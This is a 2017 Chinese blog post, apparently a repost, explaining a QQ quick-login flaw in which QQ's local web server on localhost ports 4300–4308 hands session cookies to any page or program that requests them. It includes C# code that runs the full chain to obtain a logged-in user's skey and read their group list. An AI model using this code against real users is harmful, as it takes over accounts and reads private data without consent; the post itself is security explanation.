QQ号快速登录漏洞及被盗原理
2017-09-12 10:02
381 查看
web安全:QQ号快速登录漏洞及被盗原理
为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。我前阵子在论坛上看到一个QQ的快速登录的漏洞,觉得非常不错,所以把部分原文给转到园子来。
而利用这个漏洞最终可以实现,只要你点击一个页面或运行过一个程序,那么我就可以拥有你的登录权限。可以直接进你邮箱,进你微云,进你QQ空间等....
看懂本篇需要一点点web安全的基础,请移步我的上篇
web安全:通俗易懂,以实例讲述破解网站的原理及如何进行防护!如何让网站变得更安全。
http://www.cnblogs.com/1996V/p/7458377.html众所周知,Tencent以前使用Activex的方式实施QQ快速登录,在一个陌生浏览器上使用,第一件事就是安装QuickLogin控件。
Activex是插件的意思,比如如果有这个的话,你可以通过浏览器打开一个文档之类。而QuickLogin就是腾讯用来快速登录的Activex。
就在不知道什么时候,快速登录突然不用控件了。
当时很疑惑,Tencent用了什么奇葩的方法做到Web和本地的应用程序交互呢?
在没有插件的情况下,Web页面应该无法直接和本地的应用程序直接交互(除非定义协议,但也只能调起,不能获取程序提供的结果)。
在机缘巧合下(好吧就是闲着无聊看任务管理器发现了本机的httpd,发现Apache在运行的时候)突然意识到了一种可能:如果QQ在本地开了个端口,做了个Web服务器,也就是符合HTTP协议的TCP服务端,然后网页ajax向那个QQ(此时作为Web服务器)发起请求,是不是就可以获得结果呢。
httpd是是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。
结果真的就是这样,
网页JS向http://localhost.ptlogin2.qq.com(端口从4300-4308,一个个试试到成功)发起GET一个请求
ping一下就会发现是127.0.0.1,一查端口,确实是QQ在用。
第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk来自cookie,管他是什么东西;r就是个随机数
返回的结果是个JSON数组:
varvar_sso_uin_list=[{"account":"登录的QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);
然后用http://ptlogin2.qq.com/getface来获取QQ头像,这里不做讨论
这样你的QQ信息就能显示在Web页面上了。
当你按下你的头像(选择这个登录的时候)
下列请求产生:
这个请求做什么事情呢?
嗯,Set-Cookie。
然后继续请求
这个请求将返回所有需要的cookie,至此你就登录成功了。
这些Cookie就相当于令牌,有了这个令牌就可以拥有快速登录的权限,就相当于你登录一般的网站,账号密码进去,后台会给浏览器注册一条Token来做状态验证一样。
也就是说,拿到了Cookie,你就可以通过CSRF(跨站伪装)的形式,来搞好多事情。
可以在网站上放一个页面,里面跑http请求,或者搞个窗体,里面也跑http请求。
只要你电脑上登录了QQ,只要你打开了这个页面或者打开了这个窗体,那么你的账号就已经被入侵!
不需要输入账号密码,可以直接拿着QQ空间发表留言的接口直接调用,可以直接爬虫抓相册图片,可以进微云等等等等。
我再放个论坛上的一个人根据这个漏洞进行的实例,
他做的是QQ群的一个验证的实例
思路是:访问任意QQ网站登录都会在本地产生Cookie,
然后获取这个Cookie中的pt_local_token
进而获取一切。
publicstaticboolVerifyQQGroupYesNo(stringVerifyQQGroupNum) { ///<summary> ///QQ群授权验证YesNo ///</summary> boolYesNo=false; ///随机数处理 Randomrandom=newRandom(); stringrandomstr=(Convert.ToDouble(random.Next(1,99))/Math.PI/100).ToString(); try { ///定义string类型pt_local_tk、localhost_str stringpt_local_tk=string.Empty,localhost_str=string.Empty; //QQ会员中心Url stringLoginUrl="http://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=8000201&style=20&s_url=http%3A%2F%2Fvip.qq.com%2Floginsuccess.html&maskOpacity=60&daid=18&target=self"; //Get方式Http1.1访问QQ会员中心 Zmoli775.HTTP.GetHttp1_1(LoginUrl); //获取访问QQ会员中心生成Cookies->pt_local_tk值 pt_local_tk=HTTP.Cookies.GetCookies(newUri("http://ptlogin2.qq.com"))["pt_local_token"].Value; /*https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.22949112393586502&pt_local_tk=-2027291081*/ //自动登录[1]->返回QQ号、client_type、QQ头像代码face_index、性别、QQ昵称、uin、uin_flag localhost_str=Zmoli775.HTTP.Get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r="+randomstr+"&pt_local_tk="+pt_local_tk+"",LoginUrl); //正则截取返回JSON字符串 if(!string.IsNullOrEmpty(localhost_str=Regex.Match(localhost_str,"(?i)(?<=var_sso_uin_list=).*?(?=;)").Value)) { JArrayJArray=(JArray)JsonConvert.DeserializeObject(localhost_str); for(inti=0;i<JArray.Count;i++) { //自动登录[2]->var_sso_get_st_uin登录失败返回:ptui_qlogin_CB('-1','http://qun.qzone.qq.com/group','登录失败,请稍后再试。*'); stringvar_sso_get_st_uin=Zmoli775.HTTP.Get("http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin="+JArray[i]["account"]+"&callback=ptui_getst_CB&r="+randomstr+"&pt_local_tk="+pt_local_tk+"",LoginUrl); //登录目标地址 stringLoginDestinationAddress="https://ssl.ptlogin2.qq.com/jump?clientuin="+JArray[i]["account"]+"&keyindex=9&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup&pt_local_tk="+pt_local_tk+"&pt_3rd_aid=0&ptopt=1&style=40"; //登录目标地址Referer stringLoginDestinationAddressReferer="https://ui.ptlogin2.qq.com/cgi-bin/login?appid=549000912&daid=5&style=12&s_url=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup"; //LoginOK登录成功返回访问地址生成关键Cookies stringLoginOK=Zmoli775.HTTP.Get(LoginDestinationAddress,LoginDestinationAddressReferer); //正则截取Url stringskey=Regex.Match(LoginOK,"(?i)(?<=ptui_qlogin_CB\\('0',').*?(?=',)").Value; if(!string.IsNullOrEmpty(skey)) { //Get方式Http1.1访问截取Url Zmoli775.HTTP.GetHttp1_1(skey); } ///获取QQ群页面产生的Cookies->skey skey=HTTP.Cookies.GetCookies(newUri("http://ptlogin2.qzone.qq.com"))["skey"].Value; if(!string.IsNullOrEmpty(skey))///判断Cookies->skey { stringQQGroupList=string.Empty,QQGroupListJson=string.Empty; QQGroupList=Zmoli775.HTTP.Get("http://qun.qzone.qq.com/cgi-bin/get_group_list?uin="+JArray[i]["account"]+"&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20WOW64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F50.0.2661.102%20Safari%2F537.36&random="+randomstr+"&g_tk="+Convert.ToString(Zmoli775.HTTP.Getg_tk(skey))+"",LoginDestinationAddressReferer); //正则取QQ群列表信息 QQGroupListJson=Regex.Match(QQGroupList,"(?i)(?<=_Callback\\().*?(?=\\);)").Value; if(!string.IsNullOrEmpty(QQGroupListJson)) { JArrayJarray=(JArray)JsonConvert.DeserializeObject(Convert.ToString(((JObject)JsonConvert.DeserializeObject(QQGroupListJson))["data"]["group"])); JArrayJA=(JArray)JsonConvert.DeserializeObject(Convert.ToString(Jarray)); for(inty=0;y<JA.Count;y++) { if(JA[y]["groupid"].ToString()==VerifyQQGroupNum)YesNo=true;///如果获取到的QQ群号码和需要验证的QQ群号码一致则设置YesNo值为true } } } } } if(YesNo)//如果值为true { MessageBox.Show("QQ群验证成功!","软件授权提示!",MessageBoxButtons.OK,MessageBoxIcon.Information); returntrue; } else { MessageBox.Show("QQ群验证失败!","软件授权提示!",MessageBoxButtons.OK,MessageBoxIcon.Error); returnfalse; } } catch(Exception) { MessageBox.Show("QQ群验证失败!","软件授权提示!",MessageBoxButtons.OK,MessageBoxIcon.Error); returnfalse; } }
小曾看世界2017-09-0615:44阅读:2700评论:33
小曾看世界2017-09-0511:13阅读:1477评论:24
作者:小曾 出处:http://www.cnblogs.com/1996V/p/7481823.html
相关文章推荐
- web安全:QQ号快速登录漏洞及被盗原理
- web安全:QQ号快速登录漏洞及被盗原理
- QQ快速登录的实现原理
- PHP实现QQ快速登录的方法
- PHP实现QQ快速登录
- QQ IE 快速登录
- 新浪微博登录,QQ登录网页javascript脚本实现RSA加密的原理
- 微信QQ的二维码登录原理js代码解析
- QQ快速识别登录推测
- 吓死了很久未登录以为51cto帐号被盗了本号是微博登录非qq登录
- 微信QQ的二维码登录原理浅析
- QQ网页微信、QQ二维码登录原理分析(整理)
- 微信QQ的二维码登录原理浅析
- 逆向小试 ―― QQ 自动登录器原理分析
- VB是对API的封装 qq 快速登录 各种webservice接口搜集 ReReg.bat 注册登录组件
- QQ 2005 贺岁版登录口令加密算法原理以及C++、VB源代码
- Chrome IE 中QQ快速登录失效
- 利用快捷方式、批处理快速登录QQ
- 能登录QQ但不能上网问题原理解析
- QQ开放平台 OAUTH2.0 QqConnetSDK 登录,运行原理,附源码。